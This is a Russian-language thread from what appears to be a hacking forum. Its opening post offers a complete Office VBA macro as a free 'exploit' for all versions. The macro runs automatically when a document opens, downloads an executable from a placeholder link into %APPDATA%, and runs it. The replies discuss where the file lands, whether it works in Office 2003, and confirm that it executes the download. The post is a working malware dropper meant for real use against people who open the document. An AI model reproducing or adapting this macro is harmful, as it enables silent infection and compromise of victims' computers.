1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[.Doc] "Exploit" - Macro Method - Free MS Office - All Versions!

Тема в разделе "Веб-Уязвимости | Эксплуатация", создана пользователем Kelvin, 22 мар 2014.

  1. TopicStarter Overlay
    Kelvin

    Kelvin Sin Cera

    Регистрация:
    10 май 2012
    Сообщения:
    517
    Симпатии:
    390
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    Вставьте код :​
    Код:
    Sub Auto_Open()
        h
    End Sub
     
    Sub h()
     
    Set oShell = CreateObject("WScript.Shell")
    strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
    Dim sDir: sDir = strH & "\q"
     
         
    Set fso = CreateObject("Scripting.FileSystemObject")
      If (fso.FolderExists(sDir)) Then
     
     
      Else
      Set oFSO = CreateObject("Scripting.FileSystemObject")
          oFSO.CreateFolder sDir
     
     
    End If
     
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    xHttp.Open "GET", "http://YOURDOWNLOAD.LINK/file.exe", False
    xHttp.Send
     
    With bStrm
        .Type = 1
        .Open
        .write xHttp.responseBody
        .savetofile strH & "\q\q.com", 2
    End With
     
     
    Call m(sDir)
     
    End Sub
     
    Sub AutoOpen()
        Auto_Open
    End Sub
    Sub Workbook_Open()
        Auto_Open
    End Sub
     
     
     
    Function m(str11)
        Dim fso, f, fc, f1, strF, intFiles
        Dim WshShell
     
        Set WshShell = CreateObject("WScript.Shell")
     
        strF = ""
     
        Set fso = CreateObject("Scripting.FileSystemObject")
        If (fso.FolderExists(str11)) Then
            Set f = fso.GetFolder(str11)
            Set fc = f.Files
     
           
            For Each f1 In fc
            Dim fR
            fR = str11 & "\" & f1.Name
            WshShell.Run Chr(34) & fR & Chr(34), 1, True
        Next
     
            Set f1 = Nothing
            Set fc = Nothing
            Set f = Nothing
     
     
        End If
        Set fso = Nothing
    End Function
    В место Please login or register to view links, ваша ссылка.​
    Прямую ссылку даёт этот вот сайт Please login or register to view links
     
    • Like Like x 11
    Метки:
  2. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    закиньте в приват
     
  3. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Нинадо:D
     
    • Like Like x 1
  4. TopicStarter Overlay
    Kelvin

    Kelvin Sin Cera

    Регистрация:
    10 май 2012
    Сообщения:
    517
    Симпатии:
    390
    Это паблик способ.
     
  5. NANOTECH

    NANOTECH

    Регистрация:
    11 дек 2012
    Сообщения:
    150
    Симпатии:
    69
    в папку %appdata% скачивается?
     
  6. TopicStarter Overlay
    Kelvin

    Kelvin Sin Cera

    Регистрация:
    10 май 2012
    Сообщения:
    517
    Симпатии:
    390
    Да)
     
    • Like Like x 1
  7. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Люди большое вам спасибо!
    как же я давно думал как на VBA файл скачать.
    (VBA - Visual Basic For Application - такой юзается в MSword)
     
    • Like Like x 1
  8. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    2003 не пашет
     
  9. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Ты решил уйти в пещеры? На каких компах установлен 2003?
    1. Подразумкваеться MS WORD 2003?
    2. Или имеешь ввиду windows server 2003?
     
    • Like Like x 1
  10. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    MS WORD 2003?
     
  11. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    в мя стоит MS WORD 2003 всё работает
     
  12. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    могу дать вивер доступ для теста 2003 microsoft office
     
  13. nikitoz_tavr

    nikitoz_tavr

    Регистрация:
    16 июл 2012
    Сообщения:
    73
    Симпатии:
    3
    просто скачивает файл? а запуск?
     
  14. TopicStarter Overlay
    Kelvin

    Kelvin Sin Cera

    Регистрация:
    10 май 2012
    Сообщения:
    517
    Симпатии:
    390
    Ну естественно
     

Поделиться этой страницей

Загрузка...